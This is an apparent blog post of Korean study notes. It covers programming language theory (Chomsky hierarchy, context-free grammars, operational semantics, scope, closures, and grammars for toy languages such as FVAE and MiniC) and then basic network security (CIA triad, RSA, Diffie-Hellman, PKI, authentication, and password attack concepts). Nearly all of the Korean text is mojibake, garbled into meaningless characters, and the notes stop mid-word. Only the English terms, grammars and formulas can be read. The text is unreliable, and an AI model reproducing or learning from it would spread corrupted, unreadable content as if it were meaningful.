Programming Language Syntax and Parsing ์ธ์ด : L(G) The Chomsky Hierarchy Regular Language : Finite-State Automation Context-Free Language : Pushdown Automation Context-Sensitive Language : Linear-Bounded Automation Recursively Enumerable Language : Turing Machine AST (Abstract Syntax Tree) ํ๋ก๊ทธ๋จ์ ์ถ์๊ตฌ์กฐ๋ฅผ ๋ํ๋ด๋ ํธ๋ฆฌํํ์ ์๋ฃ๊ตฌ์กฐ
CFG (Context-Free Grammar) ๋ฌธ๋งฅ์ ๊ณ ๋ คํ์ง ์๊ณ ํญ์ ๋์ผํ ๋ฌธ์์ด์ ํํํ๋ ๋ฌธ๋ฒ
G = ($\sum$, N, P, S) $\sum$ : terminal์ ์ ํ์งํฉ N : non-terminal ์ ํ์งํฉ P : production์ ์งํฉ S : ์์ nonterminal BNF (Backus-Naur Form) CFG์ ํํ ๋ฐฉ๋ฒ
์์ 1S ::= aAc 2A ::= aA 3| b 4| ๐ Derivation ๋ฌธ๋ฒ์ ๊ท์น์ ์ ์ฉํ์ฌ ๋ฌธ์์ด์ ์์ฑํ๋ ๊ณผ์
Leftmost derivation Rightmost derivatio Parse Derivation์ ์ญ๊ณผ์
Source code –lexing–> Token –parsing–> AST
leftmost derivation rightmost derivation ambiguous grammer leftmost derivation๊ณผ rightmost derivation์ด ๋ค๋ฅธ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ ๋ฌธ๋ฒ
AE (Arithmetic Expression) Language Syntax ์ ์ Concrete syntax (syntax ํํ) Abstract syntax (tree ํํ) Semantics ์ ์ eโn : e๋ n์ผ๋ก ๊ณ์ฐ๋จ Inference rule (์ถ๋ก ๊ท์น) ์ ์ ๋ก๋ถํฐ ๊ฒฐ๋ก ์ ์ด๋์ด๋ด๋ ๊ท์น $$\frac{H_1 H_2 H_3 … H_n}{P}$$
$H_1, H_2, H_3, …, H_n$ : ์ ์ P : ๊ฒฐ๋ก ์ ์ ๊ฐ ๋ชจ๋ ์ฐธ์ด๋ฉด ๊ฒฐ๋ก ๋ ์ฐธ Bigstep operational semantics Big-step : ํ๋ก๊ทธ๋จ์ ๊ณ์ฐ์ด ํ๋์ ํฐ ๋จ๊ณ์ ์ํด ์ํ Small-step : ํ๋ก๊ทธ๋จ์ ๊ณ์ฐ์ด ํ ์คํ
๊ณ์ฐ๋ค์ ์ฐ์์ ์ํด ์ํ Operational : ํ๋ก๊ทธ๋จ์ ๊ณ์ฐ์ ๊ฐ์ ๊ธฐ๊ณ์ ๋์(๊ณ์ฐ)์ ๊ธฐ๋ฐํ์ฌ ๊ธฐ์ Proof tree Inference rule์ ์ด์ฉํ์ฌ ๊ฒฐ๋ก ์ ์ฆ๋ช
ํ๋ ๊ณผ์ ์ ๋ํ๋ด๋ treeํํ์ ์๋ฃ๊ตฌ์กฐ
Syntactic Sugar and Identifier Syntactic Sugar ์ฌ์ฉ์ ํธ์๋ฅผ ์ํด ์ ๊ณต๋๋ ๊ตฌ๋ฌธ
์ฃผ๋ก concrete syntax์ ํ์ฅ์ ํตํด ์ ๊ณต Desugaring ~(e) => 0 - e
Sugaring 0 - e => ~(e)
Identifier ํ๋ก๊ทธ๋จ์ ์ด๋ค ์์์ ์ฐ๊ด๋ ์ด๋ฆ
Identifier ๋ฑ์ฅ binding occurence : ์ ์๋ฅผ ์ํด ๋ฑ์ฅ bound ocurrence : ์ฌ์ฉ์ ์ํด ๋ฑ์ฅ free identifier : ์ ๋๊ฐ์ง์ ํด๋นํ์ง ์๋ ๋ฑ์ฅ (์ ์๋์ง ์์ ๋ณ์ ์ ๊ทผ) Identifier Scope Identifier๋ scope(๋ฒ์)๋ด์์ binding-bound ๊ด๊ณ๊ฐ ์ฑ๋ฆฝ
Scope : binding ocurrence identifier๊ฐ bound ๋ ์ ์๋ ๋ฒ์
Scope๋ฅผ ๋ฒ์ด๋ ์ ๊ทผ : free identifier
Shadowing : ๋์ผํ ์ด๋ฆ์ identifier๊ฐ ์ค์ฒฉ๋ scope์์ binding๋๋ ๊ฒฝ์ฐ, ๋ฐ๊นฅ์ชฝ scope์ identifier๋ฅผ ๊ฐ๋ฆฌํค๋ ๊ฒ
Abstract Memory $\sigma$(x) : ์ถ์๋ฉ๋ชจ๋ฆฌ $\sigma$์์ x์ ๊ฐ์ ๋ฐํ $\sigma$[xโฆn](x’) : ์ถ์๋ฉ๋ชจ๋ฆฌ $\sigma$์์ x๋ฅผ n์ผ๋ก ์
๋ฐ์ดํธํ ํ ์๋ก์ด ์ถ์๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฐํ โฆ (mapsto) : ์ผ์ชฝ ๊ฐ์ ์ค๋ฅธ์ชฝ ๊ฐ์ ๋งคํํ๋ค First Order Function (F1VAE) F1VAE VAE์ first-order function์ ์ถ๊ฐํ ์ธ์ด
First-order function ๋ณ์์ ๋ค๋ฅด๊ฒ ํน๋ณ ์ทจ๊ธํ๋ ํจ์
Higher-order function ํจ์๋ฅผ ์ธ์๋ก ๋ฐ๊ฑฐ๋ ํจ์๋ฅผ ๋ฐํํ๋ ํจ์
Concrete syntax 1// single function 2prog ::= decl expr 3// multiple functions 4prog ::= decl_list expr 5decl_list ::= decl decl_list | decl 6// single parameter 7decl ::= def var var = expr endef 8// multiple parameters 9decl ::= def var var_list = expr endef | def var = expr endef 10var_list ::= var var_list | var 11expr_list ::= expr, expr_list | expr 12 13// ๊ณตํต 14expr ::= let var = expr in expr 15 | var(expr) 16 | expr + expr 17 | expr - expr 18 | (expr) 19 | number 20 | ~ (expr) 21 | var Abstract syntax ์ถ์๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ์ ์ํ ๋ณด์กฐํจ์ ฮ(x) : ํจ์ ์ถ์๋ฉ๋ชจ๋ฆฌ ฮ์์ ํจ์์ด๋ฆ x์ ๊ฐ์ ์ฐพ์ ๋ฐํ ฮ[x1 โฆโ (x2, e)] : ํจ์ ์ถ์๋ฉ๋ชจ๋ฆฌ ฮ์ ํจ์์ด๋ฆ x1์ ๊ฐ์ (x2, e)๋ก ์
๋ฐ์ดํธํ ์๋ก์ด ํจ์ ์ถ์๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฐํ Multiple parameters $$ p ::= \overline{d}\ e \ d ::= def\ x\ \overline{x} = e \ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ x(\overline{e}) \ n \in Z\ x \in Var $$
Semantics e[n/x] ํจ์ ํธ์ถ ์, ํจ์ ๋ชธ์ฒด์ ํ๋ผ๋ฏธํฐ ๋ณ์๋ฅผ ์ ๋ฌ๋ ์ด์๋ก ์นํํ ํ ๊ณ์ฐ
Lexical scope vs dynamic scope Lexical scope : identifier์ scope๊ฐ ์ปดํ์ผ์์ ์ ์ ์ Dynamic scope : identifier์ scope๊ฐ ์คํ์์ ์ ๊ฒฐ์ First Class Function (FVAE) First-class function ํจ์๋ฅผ ๊ฐ์ฒ๋ผ ๋ค๋ฃจ๋ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ํน์ฑ
Concrete syntax 1expr ::= let var = expr in expr 2 | (fun var -> expr) // ์ถ๊ฐ๋ ๊ฒ : ํจ์ ์ ์ 3 | expr expr // ์ถ๊ฐ๋ ๊ฒ : ํจ์ ํธ์ถ 4 | expr + expr 5 | expr - expr 6 | (expr) 7 | number 8 | ~ (expr) 9 | var function applications ํจ์ํ ํ๋ก๊ทธ๋๋ฐ์์๋ ํจ์ ํธ์ถ ๋์ ํจ์ ์ ์ฉ
Abstract syntax $\lambda x.e$ $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e \ n \in Z\ x \in Var $$
$\lambda x.e$ : ํจ์ ์ ์ (x๋ ํ๋ผ๋ฏธํฐ, e๋ ํจ์ ๋ชธ์ฒด) x๋ binding occurence x์ scope๋ e $e\ e$ : ํจ์ ์ ์ฉ e1 : ํจ์๋ก ๊ณ์ฐ๋๋ expression e2 : ์ธ์ Closure Closure = Var X Expr X Store
FVAE์์๋ ํจ์๋ “๊ฐ"์ด๋ฏ๋ก “๊ฐ"์ ํ์ฅ์ด ์๊ตฌ๋๋ค Multiple parameters Concrete syntax 1expr ::= let var = expr in expr 2 | let var var = expr in expr 3 | (fun var_list -> expr) // ์ถ๊ฐ๋ ๊ฒ : ํจ์ ์ ์ 4 | expr expr 5 | expr + expr 6 | expr - expr 7 | (expr) 8 | number 9 | ~ (expr) 10 | var 11var_list ::= var var_list | var // ์ถ๊ฐ๋ ๊ฒ : ํ๋ผ๋ฏธํฐ ๋ฆฌ์คํธ Conditional Branch (CFVAE) Concrete syntax 1expr ::= let var = expr in expr 2 | (fun var_list -> expr) 3 | if expr then expr else expr // ์ถ๊ฐ๋ ๊ฒ : ์กฐ๊ฑด๋ฌธ 4 | expr expr 5 | expr + expr 6 | expr - expr 7 | expr < expr // ์ถ๊ฐ๋ ๊ฒ : ๋น๊ต์ฐ์ฐ 8 | (expr) 9 | number 10 | bool 11 | ~ (expr) 12 | var if-then-else๊ฐ ๋ค๋ฅธ expression์ ๋นํด ์ฐ์ ์์๊ฐ ๋ฎ๋ค๊ณ ๊ฐ์ Abstract syntax $$ e ::= n\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e?e\ : e\ |\ e\ <\ e \ n \in Z\ b \in {true, false } x \in Var $$
Boolean support as syntatics sugar true์ false๋ฅผ ์ ์๋ก ํํ true์ false๋ฅผ closure๋ก ํํ Option 1. C style $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e\ ?\ e\ :\ e\ |\ e\ <\ e\ n \in Z\ x \in Var $$
Option 2. Church boolean $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e\ <\ e\ n \in Z\ b \in {true, false }\ x \in Var $$
Recursion (RCFVAE) Concrete syntax 1expr ::= let var = expr in expr 2 | let rec var = expr in expr // ์ถ๊ฐ๋ ๊ฒ : ์ฌ๊ทํจ์ 3 | (fun var -> expr) 4 | if expr then expr else expr 5 | expr expr 6 | expr + expr 7 | expr - expr 8 | expr < expr 9 | (expr) 10 | number 11 | bool 12 | ~ (expr) 13 | var Abstract syntax $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ let\ rec\ x\ =\ e\ in\ e |\ \lambda x.e\ |\ e\ e\ |\ e\ <\ e \ n \in Z\ x \in Var $$
minic 1 Imperative language (๋ช
๋ นํ ์ธ์ด) ์ฐ์๋ command(๋ช
๋ น)์ ํตํด ํ๋ก๊ทธ๋จ์ ์๋ฏธ๋ฅผ ์ํ
Concrete syntax 1prog ::= stmts 2stmts ::= stmt | stmt stmts 3stmt ::= var = expr; 4 | if expr {stmts} 5 | if expr {stmts} else {stmts} 6expr ::= number 7 | var 8 | true 9 | false 10 | (expr) 11 | expr + expr 12 | expr - expr 13 | expr < expr 14 | expr > expr 15 | expr == expr 16 | expr && expr 17 | expr || expr Abstract syntax $$ p ::= \overline{s} \ s ::= x = e\ |\ e?\ \overline{s} : \overline{s} \ e ::= n\ |\ x\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ e\ <\ e\ |\ e\ >\ e\ |\ e\ ==\ e\ |\ e\ &&\ e\ |\ e\ ||\ e \ n \in Z\ b \in {true, false}\ x \in Var $$
Semantics p : MiniC program Prog -> Store
s : MiniC statement Store X Stmt -> Store
e : MiniC expression Store X Expr -> Value
Short circuit evaluation ๋
ผ๋ฆฌ์ ์ฐ์ฐ์ ์์ด ๊ฒฐ๊ณผ๊ฐ ์ ํด์ง ๊ฒฝ์ฐ ๋จ์ expression ๊ณ์ฐ
minic 2 &x: reference *e: dereference Concrete syntax 1prog ::= stmts 2stmts ::= stmt | stmt stmts 3stmt ::= def var; 4 | var = expr; 5 | *expr = expr; 6 | if expr {stmts} 7 | if expr {stmts} else {stmts} 8 | while expr {stmts} 9expr ::= number 10 | var 11 | true 12 | false 13 | &var 14 | *expr 15 | (expr) 16 | expr + expr 17 | expr - expr 18 | expr < expr 19 | expr > expr 20 | expr == expr 21 | expr && expr 22 | expr || expr Abstract syntax $$ p ::= \overline{s} \ s ::= def\ x\ |\ x = e\ |\ *e = e\ |\ e?\ \overline{s} : \overline{s}\ |\ while\ e\ \overline{s} \ e ::= n\ |\ x\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ e\ <\ e\ |\ e\ >\ e\ |\ e\ ==\ e\ |\ e\ &&\ e\ |\ e\ ||\ e\ |\ &x\ |\ *e \ b \in {true, false}\ n \in Z\ x \in Var $$
Semantics ๋คํธ์ํฌ ๋ณด์ ๊ฐ์ ๋คํธ์ํฌ ๋ณด์์ ์๊ตฌ์ฌํญ ๊ธฐ๋ฐ์ฑ(Confidentiality) ์ ๋ณด๋ฅผ ๊ถํ์ด ์๋ ๊ฐ์ธ์๊ฒ ๋
ธ์ถ๋์ง ์๋๋ก ํจ
๋ฌด๊ฒฐ์ฑ(Integrity) ์ ๋ณด์ ํ๋ก๊ทธ๋จ์ ์ธ๊ฐ๋ ๋ฐฉ์์ผ๋ก๋ง ๋ณ๊ฒฝ๋๋๋ก ํจ
๊ฐ์ฉ์ฑ(Availability) ์ ๋ณด ์์ฐ์ ๋ํด ์ ์ ํ ์๊ฐ์ ์ ๊ทผ ๊ฐ๋ฅํ๋๋ก ํจ
๋ณด์ ๊ณต๊ฒฉ์ ์ข
๋ฅ ์๊ทน์ ๊ณต๊ฒฉ(Passive Attack) ์ ๋ณด๋ฅผ ๋์ฒญํ๊ฑฐ๋ ๊ฐ์ํ๋ ๊ณต๊ฒฉ ๋ฐฉ์ด๋ฐฉ๋ฒ : ์ํธํ ์ ๊ทน์ ๊ณต๊ฒฉ(Active Attack) ์ ๋ณด๋ฅผ ๋ณ์กฐํ๊ฑฐ๋ ์ญ์ ํ๋ ๊ณต๊ฒฉ ๋ฐฉ์ด๋ฐฉ๋ฒ : ๋ฉ์์ง ์ธ์ฆ ๋ณด์ ์๋น์ค ์ธ์ฆ(Authentication) ์ฌ์ฉ์์ ์ ์์ ํ์ธํ๋ ๊ณผ์
๋๋ฑ ๊ฐ์ฒด ์ธ์ฆ, ๋ฐ์ดํฐ-๊ทผ์์ง ์ธ์ฆ ์ ๊ทผ ์ ์ด(Access Control) ์์์ ๋ถ๋ฒ์ ์ผ๋ก ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ๋ฐฉ์งํ๋ ๊ฒ
๋ฐ์ดํฐ ๊ธฐ๋ฐ์ฑ(Data Confidentiality) ๋ฐ์ดํฐ์ ๋ถ๋ฒ์ ๋
ธ์ถ์ ๋ง๋ ๊ฒ
์ฐ๊ฒฐ๊ธฐ๋ฐ์ฑ, ๋น์ฐ๊ฒฐ ๊ธฐ๋ฐ์ฑ, ์ ๋ณ๋-ํ๋ ๊ธฐ๋ฐ์ฑ, ํธ๋ํฝ-ํ๋ฆ ๊ธฐ๋ฐ์ฑ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ(Data Integrity) ์์ ๋ ๋ฐ์ดํฐ๊ฐ ์ก์ ๋ ๋ฐ์ดํฐ์ ์ผ์นํ๋์ง ํ์ธํ๋ ๊ฒ
์ฐ๊ฒฐํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ, ๋น์ฐ๊ฒฐํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ๋ณต๊ตฌ ๊ฐ๋ฅํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ, ๋ณต๊ตฌ ๋ถ๊ฐ๋ฅํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ์ ๋ณ๋-ํ๋ ์ฐ๊ฒฐ ๋ฌด๊ฒฐ์ฑ, ๋น์ฐ๊ฒฐ ๋ฌด๊ฒฐ์ฑ, ์ ๋ณ๋-ํ๋ ๋น์ฐ๊ฒฐ ๋ฌด๊ฒฐ์ฑ ๋ถ์ธ ๋ด์ (Non-repudiation) ํต์ ์ ํ ์ฃผ์ฒด๊ฐ ํต์ ์ ์ฐธ์ฌํ๋ ์ฌ์ค์ ๋ถ์ธํ๋ ๊ฒ์ ๋ฐฉ์ง
๊ฐ์ฉ์ฑ ์๋น์ค (Availability Service) ์๋น์ค๋ฅผ ์ฌ์ฉํ ์ ์๋ ์ํ๋ฅผ ์ ์งํ๋ ๊ฒ
๋ณด์ ๋ฉ์ปค๋์ฆ ํน์ ๋ณด์ ๋ฉ์ปค๋์ฆ ํน์ ํ๋กํ ์ฝ ๊ณ์ธต์์ ๊ตฌํ๋๋ ๋ฉ์ปค๋์ฆ
์ธ์ฆ ์ํธํ ๋์งํธ ์๋ช
์ ๊ทผ ์ ์ด ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ์ธ์ฆ ๊ตํ ํธ๋ํฝ ํจ๋ฉ ๊ฒฝ๋ก ์ ์ด ๊ณต์ฆ ์ผ๋ฐ ๋ณด์ ๋ฉ์ปค๋์ฆ ๊ณ์ธต๊ณผ ์๋น์ค์ ๋
๋ฆฝ์ ์ธ ๋ฉ์ปค๋์ฆ
์ ๋ขฐ๋ฐ๋ ๊ธฐ๋ฅ ๋ณด์ ๋ ์ด๋ธ ์ฌ๊ฑด ํ์ง ๋ณด์ ๊ฐ์ฌ ์ถ์ ๋ณด์ ๋ณต๊ตฌ ์ํธ ๊ธฐ์ ์ ์ดํด ์ ํต์ ์ธ ์ํธ ๊ธฐ์ ์ํธ๋ฅผ ์ฌ์ฉํ๋ ๋ชฉ์ ๋น๋ฐ์ฑ ์ ์ง (Confidentiality) ๋ฌด๊ฒฐ์ฑ ์ ์ง (Data Integrity) ์ฌ์ฉ์ ๋๋ ์๋ฃ์ ์ถ์ฒ ์ธ์ฆ (Authentication) ๋ถ์ธ ๋ฐฉ์ง (Non-repudiation) ์ํธ ํด๋
ํด๋
์๋ ์ํธ ์์คํ
์ ์๊ณ ์์ง๋ง, ํค๋ง ๋ชจ๋ฆ
Cipher Text Only Attack : ์ํธ๋ฌธ ๋จ๋
๊ณต๊ฒฉ Know Plain Text Attack : ์๋ ค์ง ํ๋ฌธ ๊ณต๊ฒฉ Chosen Plain Text Attack : ์ ํ์ ํ๋ฌธ ๊ณต๊ฒฉ ๊ณต๊ฐํค ์ํธํ ๋น๋ฐํค ์ํธ์ ๋น๊ต ๊ตฌ๋ถ ๊ณต๊ฐํค ์ํธ ๋น๋ฐํค ์ํธ ํค์ ๊ด๊ณ ์ํธํ ํค != ๋ณตํธํ ํค ์ํธํ ํค = ๋ณตํธํ ํค ํค์ ๊ฐ์ 2n n(n-1)/2 1์ธ๋น ํ์ํ ๋น๋ฐํค 1 n-1 ์๋ ๋นํจ์จ์ ํจ์จ์ ๋์นญํค(๋น๋ฐํค) ์ํธ ์ข
๋ฅ ๋ธ๋ก ์ํธ : ๋ธ๋ก ๋จ์๋ก ์ํธํ DES, IDEA, AES
์คํธ๋ฆผ ์ํธ : ๋นํธ ๋จ์๋ก ์ํธํ RC4, A5/1
ํ๊ตญ์์ ์ฌ์ฉํ๋ ์๊ณ ๋ฆฌ์ฆ NEAT, SEED, NES, ARIA
๊ณต๊ฐํค(๋น๋์นญํค) ์ํธ ์ข
๋ฅ ์์ธ์ ๋ถํด ๊ธฐ๋ฐ : RSA ์ด์ฐ ๋์ ๊ธฐ๋ฐ : ElGamal ํ์ ๊ณก์ ๊ธฐ๋ฐ ํค ์์ฑ ์๋ก์์ธ ๋ ์์ p, q๋ฅผ ์ ํ n = p * q ฯ(n) = (p-1)(q-1) gcd(e, ฯ(n)) = 1์ ๋ง์กฑํ๋ e ์ ํ d * e mod ฯ(n) = 1์ ๋ง์กฑํ๋ d ์ ํ ๊ณต๊ฐํค : {e, n}, ๋น๋ฐํค : {d, n} ์ํธํ C = M^e mod n
๋ณตํธํ M = C^d mod n
DH (Diffie Hellman) ํค ๊ณต์ q(์์), ฮฑ(q์ ์์๊ทผ, ฮฑ<q) ์์ ์ $X_A < q$๋ฅผ ๋ง์กฑํ๋ $X_A$๋ฅผ ์ ํ ๊ณต๊ฐํ $Y_A = \alpha^{X_A} mod\ q$ ์๋๋ฐฉ์ด ์์ฑํ๋ ๋น๋ฐํค $K = Y_A^{X_B} mod\ q$ ์ํธ ๊ธฐ์ ์ ํ์ฉ ๋์งํธ ์๋ช
ํน์ฑ ์์กฐ ๋ถ๊ฐ, ๋ณ๊ฒฝ ๋ถ๊ฐ, ์๋ช
์ ์ธ์ฆ, ์ฌ์ฌ์ฉ ๋ถ๊ฐ, ๋ถ์ธ ๋ฐฉ์ง
์๋ช
์์ ๋น๋ฐํค๋ก ์ํธํ ์๋ช
์์ ๊ณต๊ฐํค๋ก ๋ณตํธํ ๋จ๋ฐฉํฅ ํด์ ํจ์๋ฅผ ์ด์ฉํ ๋ฉ์์ง ์ธ์ฆ ํด์ ํจ์์ ์๊ฑด ๋จ๋ฐฉํฅ์ฑ : H(x) = h์ผ๋, x๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด์ผํ๋ค ์ฝํ ์ถฉ๋ ์ ํญ์ฑ : H(x)=H(y)๋ฅผ ๋ง์กฑํ๋ y(=x)๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด์ผํ๋ค ๊ฐํ ์ถฉ๋ ์ ํญ์ฑ : H(x)=H(y)๋ฅผ ๋ง์กฑํ๋ (x, y)๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด์ผํ๋ค ๊ณต๊ฐํค ๊ธฐ๋ฐ ๊ตฌ์กฐ ์ธ์ฆ์ ๊ณต๊ฐํค์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ํฌํจํ ์ ์ ๋ฌธ์
ํ์ค : X.509 v3 PKI (Public Key Infrastructure) ๊ณต๊ฐํค๋ฅผ ๊ด๋ฆฌํ๊ณ ์ธ์ฆํ๋ ๊ตฌ์กฐ
CA (Certificate Authority) : ์ธ์ฆ์ ๋ฐ๊ธ RA (Registration Authority) : ์ฌ์ฉ์ ๋ฑ๋ก CRL (Certificate Revocation List) : ํ๊ธฐ๋ ์ธ์ฆ์ ๋ชฉ๋ก ๋ํ์ํธ์ ์์์ํธ ๊ธฐ์ ๋ํ์ํธ ์ํธํ๋ ์ํ์์ ์ฐ์ฐ์ ์ํํ ๊ฒฐ๊ณผ๋ฅผ ๋ณตํธํํ๋ฉด ์๋ฌธ๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ์ป๋ ์ํธํ ๊ธฐ๋ฒ
๋ถ๋ถ ๋ํ ์ํธ : ๋ง์
๊ณผ ๊ณฑ์
์ค์์ ํ๋์ ์ฐ์ฐ๋ง ์ง์ ์ค๋ํ ์ํธ : ์ฐ์ฐ์ ํ์์ ์ ํ์ด ์กด์ฌ ์์ ๋ํ ์ํธ : ์์์ ๊ณ์ฐ์ ์ํ ๊ฐ๋ฅ ํ์ฉ ์ํธํ๋ ์ํ๋ก ์ฐ์ฐ์ ํ๊ธฐ ๋๋ฌธ์ ๋ณด์์ฑ์ด ๋์ ์์ ๋ด์ฑ ์ํธ (PQC: Post Quantum Cryptography) ์์ ์ปดํจํฐ์ ์ํ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํ ๊ณต๊ฐํค ์ํธ
QKD(Quantum Key Distribution) : ์์ ํต์ ์ ์ํด ๋น๋ฐํค๋ฅผ ๋ถ๋ฐฐ/๊ด๋ฆฌํ๋ ๊ธฐ์ QRNG(Quantum Random Number Generator) : ์์ ๋์ ์์ฑ๊ธฐ ์ฌ์ฉ์ ์ธ์ฆ ์ฌ์ฉ์ ์ธ์ฆ ์๋ฆฌ ์ธ์ฆ ์ ์ฐจ ์ ์ ํ์ธ ๋จ๊ณ ์
์ฆ ๋จ๊ณ NIST์ ์ ์ ์ธ์ฆ ๋ชจ๋ธ ์ธ์ฆ ์๋จ ์๊ณ ์๋ ๊ฒ์ ํตํ ์ธ์ฆ : ๋น๋ฐ๋ฒํธ ์์ ๋ฌผ์ ํตํ ์ธ์ฆ : OTP ๊ธฐ๊ธฐ, ์ธ์ฆ์ ์์ฒด ์กฐ์ง์ ํตํ ์ธ์ฆ : ์ง๋ฌธ, ๋ง๋ง ํ๋์ ํตํ ์ธ์ฆ : ๋ชฉ์๋ฆฌ ํจํด, ํ์ ๋ณด์กด ๋ฑ๊ธ ์ํฅ ํ๋กํ์ผ ๋ณด์ฆ๋ ๋ฒจ : ์ ๋ขฐ์ ์ ๋์ ๋ฐ๋ผ 4๊ฐ์ง ๋ฑ๊ธ์ผ๋ก ๋ถ๋ฅ ๋น๋ฐ๋ฒํธ ๊ธฐ๋ฐ ์ธ์ฆ ๊ณต๊ฒฉ ์ ํ ์คํ๋ผ์ธ ์ฌ์ ๊ณต๊ฒฉ ํน์ ๊ณ์ ๊ณต๊ฒฉ ์ ์๋ ค์ง ํจ์ค์๋ ๊ณต๊ฒฉ, ๋์
๊ณต๊ฒฉ ๋จ์ผ ์ฌ์ฉ์์ ๋ํ ํจ์ค์๋ ์ถ์ธก ๋จ๋ง๊ธฐ ๊ฐํ ์ฌ์ฉ์ ์ค์ ์ด์ฉ ๋ค์ค ๋น๋ฐ ๋ฒํธ ์ฌ์ฉ ์ปดํจํฐ ๋ชจ๋ํฐ๋ง : ํต์ ํจํท ๋ถ์ ํด์ํ๋ ๋น๋ฐ๋ฒํธ ์ฌ์ฉ Salt์ ์ญํ ๋น๋ฐ๋ฒํธ๊ฐ ๊ฐ์๋ ๋ค๋ฅธ ํด์๊ฐ์ ๊ฐ์ง๋๋ก ํจ
ํจ์ค์๋ ํฌ๋ํน ์ฌ์ ๊ณต๊ฒฉ ๋ ์ธ๋ณด์ฐ ํ
์ด๋ธ ๊ณต๊ฒฉ : ๋ชจ๋ ์ํธ์ ๋ํ ํด์ ๊ฐ์ ๊ณ์ฐํด ๋์ ํ
์ด๋ธ์ ์ด์ฉ ํจ์ค์๋ ์ ํ ๊ธฐ๋ฒ ์ฌ์ฉ์ ๊ต์ก ์ปดํจํฐ ๋ฐ์ ํจ์ค์๋ ํจ์ค์๋ ๊ฒ์ฌ์ ํ์ฑํ : ์์ฒด ํจ์ค์๋ ํฌ๋์ปค ์คํ ์ฌ์ ํจ์ค์๋ ๊ฒ์ฌ : ํจ์ค์๋ ์์ ์ฑ ๊ฒ์ฌ ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ ์ข
๋ฅ ๋ฉ๋ชจ๋ฆฌ ์นด๋ ์ค๋งํธ ์นด๋ : ์๋ฒ ๋๋ ๋ง์ดํฌ๋กํ๋ก์ธ์ ํฌํจ ์์ฒด ์ธ์ฆ ๊ธฐ์ ์ ํ๋ : ํ๋ฅ ๋ฐ๋ ํจ์๋ก ํํํ๋ฉด ์ ๊ท ๋ถํฌ๋ฅผ ๋ฐ๋ฆ FAR (False Acceptance Rate) : ๊ฑฐ์ง ์๋ฝ๋ฅ FRR (False Rejection Rate) : ๊ฑฐ์ง ๊ฑฐ๋ถ์จ EER (Equal Error Rate) : FAR๊ณผ FRR์ด ๊ฐ์ ์ง์ ์๊ฒฉ ์ฌ์ฉ์ ์ธ์ฆ ๋ฉํฐ ํฉํฐ ์ธ์ฆ : ๋ ์์ ์ด์์ ์ฌ์ฉํ ์ธ์ฆ ๋ฉํฐ ์ฑ๋ ์ธ์ฆ : ๋ค์ํ ์ฑ๋์ ํตํด ์ธ์ฆ ์ธ์ฆ ํ๋กํ ์ฝ ํจ์ค์๋ ํ๋กํ ์ฝ ํธ์คํธ๊ฐ ๋์๋ฅผ ์์ฑ, ์ฌ์ฉ์์๊ฒ ์ ์ก ์ฌ์ฉ์๋ ํจ์ค์๋์ ๋์๋ฅผ ์กฐํฉํ์ฌ ํด์๊ฐ์ ์์ฑ, ์ ์ก ํ ํฐ ํ๋กํ ์ฝ ํธ์คํธ๊ฐ ๋์๋ฅผ ์์ฑ, ์ฌ์ฉ์์๊ฒ ์ ์ก ์ฌ์ฉ์๋ ํ ํฐ์ ์ฌ์ฉํ์ฌ ๋์๋ฅผ ์ํธํ, ์ ์ก ์ ์ ์์ฒด ํ๋กํ ์ฝ ํธ์คํธ๋ ๋์์ ์ํธํ๋ฅผ ์ํ ์๋ณ์๋ฅผ ์ ์ก ์ฌ์ฉ์๋ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒด ์ ๋ณด๋ฅผ ์ํธํ, ์ ์ก ๋์ ์์ฒด ํ๋กํ ์ฝ ํธ์คํธ๊ฐ ์ฌ์ฉ์์๊ฒ ๋๋ค ์ํ์ค๋ ๋์๋ฅผ ์ ์ก ์ฌ์ฉ์๋ ์ด๋ฅผ ๋งํ๊ฑฐ๋, ๊ธ์๋ฅผ ์ฐ๋ ๋ฑ์ ๋์์ ์ํ, ์ํธํ ํ ์ ์ก ์ ๊ทผ ์ ์ด ์ ๊ทผ ์ ์ด ์๋ฆฌ ์ ๊ทผ์ ์ด ์ฒ ํ ์ ๊ทผํต์ ์์ญ ๊ด๋ฆฌ์ ํต์ ๊ธฐ์ ์ ํต์ ๋ฌผ๋ฆฌ์ ํต์ ์ ๊ทผ ์ ์ด ์์น ์ ํ์์ฑ ์์น ์ต์ ๊ถํ ์์น ์ต๋ 